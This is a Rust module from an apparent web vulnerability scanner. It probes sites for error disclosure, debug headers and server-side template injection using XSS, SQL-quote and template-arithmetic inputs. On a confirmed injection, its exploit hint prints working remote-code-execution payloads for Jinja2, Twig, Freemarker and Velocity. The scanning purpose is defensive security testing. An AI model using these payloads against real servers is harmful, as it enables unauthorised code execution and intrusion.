use gossan_core::Target;
use reqwest::Client;
use secfinding::{Evidence, Finding, Severity};
const SSTI_PRODUCT: &str = "159401";
const ERROR_TRIGGERS: &[(&str, &str)] = &[
("/gossan-error-probe-9z3k2p", "random 404"),
("/?__gossan__=<script>x</script>", "XSS reflection / error"),
("/?q={{473*337}}", "SSTI probe {{473*337}} → 159401"),
("/?q=${473*337}", "SSTI probe ${473*337} (Java EL)"),
("/?q=<%=473*337%>", "SSTI probe <%=473*337%> (ERB)"),
("/?q=<%= 473*337 %>", "SSTI probe ERB with spaces"),
("/?id=1'", "SQL injection probe"),
("/?id=1\"", "SQL injection probe (double quote)"),
("/?page[]=1&page[]=2", "PHP array confusion"),
];
const STACK_TRACE_PATTERNS: &[(&str, &str, Severity)] = &[
(
"Traceback (most recent call last)",
"Python traceback in error response",
Severity::High,
),
(
"django.core.exceptions",
"Django exception in error response",
Severity::High,
),
(
"File \"/",
"Python file path in error response",
Severity::Medium,
),
(
"java.lang.",
"Java exception in error response",
Severity::High,
),
(
"org.springframework",
"Spring framework exception",
Severity::High,
),
(
"at com.",
"Java stack frame in error response",
Severity::Medium,
),
(
"Caused by:",
"Java exception chain in response",
Severity::Medium,
),
(
"Fatal error:",
"PHP fatal error in response",
Severity::High,
),
("Warning: ", "PHP warning in response", Severity::Medium),
(
"Stack trace:",
"PHP stack trace in response",
Severity::High,
),
("on line ", "PHP error with line number", Severity::Medium),
(
"app/controllers/",
"Rails controller path in response",
Severity::High,
),
(
"ActionController::",
"Rails ActionController exception",
Severity::High,
),
(
"at Object.<anonymous>",
"Node.js stack frame in response",
Severity::High,
),
(
"at Module._compile",
"Node.js module stack in response",
Severity::High,
),
(
"syntax error near",
"SQL syntax error in response",
Severity::High,
),
("ORA-", "Oracle SQL error in response", Severity::High),
("mysql_error", "MySQL error in response", Severity::High),
("pg_query", "PostgreSQL error in response", Severity::High),
("SQLSTATE[", "PDO SQL error in response", Severity::High),
(
"Unclosed quotation mark",
"MSSQL error in response",
Severity::High,
),
("/home/", "Internal Unix path in response", Severity::Medium),
("/var/www/", "Web root path in response", Severity::Medium),
("C:\\inetpub", "IIS path in response", Severity::Medium),
(
"C:\\Users\\",
"Windows user path in response",
Severity::Medium,
),
("/app/", "Container app path in response", Severity::Medium),
(
"159401",
"SSTI confirmed — arithmetic expression evaluated to 159401",
Severity::Critical,
),
(
"Whoops! There was an error.",
"Laravel Whoops debug page",
Severity::High,
),
("DEBUG = True", "Django DEBUG mode active", Severity::High),
(
"development mode",
"Framework in development mode",
Severity::High,
),
];
const DEBUG_HEADERS: &[(&str, &str, Severity)] = &[
(
"x-debug-token",
"Symfony debug token leaked",
Severity::Medium,
),
(
"x-debug-token-link",
"Symfony Profiler URL exposed",
Severity::Medium,
),
("x-debugbar-id", "PHP DebugBar active", Severity::Medium),
("x-powered-cgi", "CGI mode exposed", Severity::Low),
(
"x-application-context",
"Spring app context exposed",
Severity::Medium,
),
(
"x-envoy-upstream-service-time",
"Envoy/Istio internal timing",
Severity::Low,
),
];
pub async fn probe(client: &Client, target: &Target) -> anyhow::Result<Vec<Finding>> {
let Target::Web(asset) = target else {
return Ok(vec![]);
};
let base = asset.url.as_str().trim_end_matches('/');
let mut findings = Vec::new();
let mut reported_patterns: std::collections::HashSet<&str> = std::collections::HashSet::new();
for (suffix, _trigger_desc) in ERROR_TRIGGERS {
let url = format!("{}{}", base, suffix);
let Ok(resp) = client.get(&url).send().await else {
continue;
};
let status = resp.status().as_u16();
let resp_headers: Vec<(String, String)> = resp
.headers()
.iter()
.map(|(k, v)| (k.to_string(), v.to_str().unwrap_or("").to_string()))
.collect();
for (header, name, severity) in DEBUG_HEADERS {
if let Some((_, val)) = resp_headers
.iter()
.find(|(k, _)| k.eq_ignore_ascii_case(header))
{
if reported_patterns.insert(header) {
gossan_core::try_push_finding(crate::info_finding(target, *severity,
format!("{} header present", name),
format!("Response to {} contains debug header {}: {}. \
Debug infrastructure is active and leaking implementation details.",
url, header, val.chars().take(80).collect::<String>()))
.evidence(Evidence::HttpResponse {
status,
headers: vec![(header.to_string().into(), val.clone().into())],
body_excerpt: None,
})
.tag("debug").tag("exposure").tag("headers"), &mut findings);
}
}
}
let body = gossan_core::net::bounded_text(resp, 4 * 1024 * 1024).await.unwrap_or_default();
let is_ssti_probe = suffix.contains("473*337");
for (pattern, name, severity) in STACK_TRACE_PATTERNS {
if *pattern == "49" && !is_ssti_probe {
continue;
}
if body.contains(pattern) && reported_patterns.insert(pattern) {
let excerpt = body
.lines()
.find(|l| l.contains(pattern))
.map(|l| crate::path_sanitize::sanitize_excerpt(l.trim(), 200))
.unwrap_or_default();
let is_ssti = *pattern == SSTI_PRODUCT && is_ssti_probe;
let detail = if is_ssti {
format!("SSTI confirmed — template expression `{{{{473*337}}}}` evaluated to `159401` in response. \
The template engine executes injected expressions server-side. \
Escalate to RCE by injecting OS commands via the template syntax. URL: {}", url)
} else {
format!("{} detected in error response from {}. \
This discloses server internals to unauthenticated attackers — \
internal paths, framework versions, and class names aid further attacks.", name, url)
};
gossan_core::try_push_finding(crate::info_finding(target,
if is_ssti { Severity::Critical } else { *severity },
if is_ssti { "Server-Side Template Injection (SSTI) confirmed" } else { name },
detail)
.evidence(Evidence::HttpResponse {
status,
headers: vec![],
body_excerpt: Some((excerpt).into()),
})
.tag("error-disclosure").tag("debug").tag("exposure")
.tag(if is_ssti { "ssti" } else { "stack-trace" })
.exploit_hint(if is_ssti {
format!(
"# Escalate SSTI to RCE (adapt to detected engine):\n\
# Jinja2/Python:\n\
# {}?q={{{{config.__class__.__init__.__globals__['os'].popen('id').read()}}}}\n\
# Jinja2 (no config):\n\
# {}?q={{{{''.__class__.mro()[1].__subclasses__()[408]('id',shell=True,stdout=-1).communicate()}}}}\n\
# Twig/PHP:\n\
# {}?q={{{{_self.env.registerUndefinedFilterCallback('exec')}}}}{{{{_self.env.getFilter('id')}}}}\n\
# Freemarker/Java:\n\
# {}?q=${{\"freemarker.template.utility.Execute\"?new()('id')}}\n\
# Velocity/Java:\n\
# {}?q=#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()",
base, base, base, base, base)
} else {
String::new()
}), &mut findings);
}
}
if findings
.iter()
.any(|f: &Finding| f.severity() == Severity::Critical)
{
break;
}
}
Ok(findings)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn ssti_trigger_payloads_are_present() {
assert!(ERROR_TRIGGERS
.iter()
.any(|(path, _)| path.contains("{{473*337}}")));
assert!(ERROR_TRIGGERS
.iter()
.any(|(path, _)| path.contains("${473*337}")));
assert!(ERROR_TRIGGERS
.iter()
.any(|(path, _)| path.contains("<%=473*337%>")));
}
#[test]
fn stack_trace_patterns_cover_multiple_frameworks() {
assert!(STACK_TRACE_PATTERNS
.iter()
.any(|(pattern, _, _)| *pattern == "Traceback (most recent call last)"));
assert!(STACK_TRACE_PATTERNS
.iter()
.any(|(pattern, _, _)| *pattern == "java.lang."));
assert!(STACK_TRACE_PATTERNS
.iter()
.any(|(pattern, _, _)| *pattern == "Fatal error:"));
assert!(STACK_TRACE_PATTERNS
.iter()
.any(|(pattern, _, _)| *pattern == SSTI_PRODUCT));
}
#[test]
fn debug_headers_cover_common_frameworks() {
assert!(DEBUG_HEADERS
.iter()
.any(|(header, _, _)| *header == "x-debug-token"));
assert!(DEBUG_HEADERS
.iter()
.any(|(header, _, _)| *header == "x-debugbar-id"));
assert!(DEBUG_HEADERS
.iter()
.any(|(header, _, _)| *header == "x-application-context"));
}
}